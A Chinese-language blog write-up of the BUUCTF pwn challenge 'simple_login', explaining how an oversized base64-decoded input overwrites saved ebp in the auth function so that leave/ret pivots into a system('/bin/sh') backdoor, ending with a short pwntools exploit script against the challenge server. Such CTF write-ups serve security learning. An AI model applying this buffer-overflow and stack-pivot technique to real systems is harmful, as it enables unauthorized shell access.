pwnable_simple_login


pwnable_simple_login

小萌新斗胆做了一下buu上第六页的一道pwn题,纯粹是为了冲分,就是卷(bushi

首先检查保护机制,32位文件,开NX,没有开PIE,那这个题目应该不会太难。

继续看IDA,main函数

这里的base64加密很新颖,以前的pwn题都没有见过,代码分析了一下,就是需要输入的s内容转base64编码,然后进行一个比较,正确的话才能进入到correct函数

而correct函数中有后门函数system(‘/bin/sh’)。那么这个地方就该是关键

于是继续找,找到auth函数里有了一个漏洞点

input最大12个字节,而v4只有8个字节,调试一下发现,覆盖的是主函数的ebp,经过调试发现控制ebp可以跳转到任意地址,那么跳转到哪呢,发现input是个固定地址, input是我们输入的内容,依靠leave指令将执行system(“/bin/sh”)的地址赋给esp,最后ret指令将地址给eip,完成利用。

exp

from pwn import*
io=remote("node4.buuoj.cn",25390)

io.recvuntil("Authenticate : ")
payload="a"*4+p32(0x0804927F)+p32(0x0811EB40)
payload=payload.encode("base64")

io.sendline(payload)

io.interactive()

最后


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
赏
  目录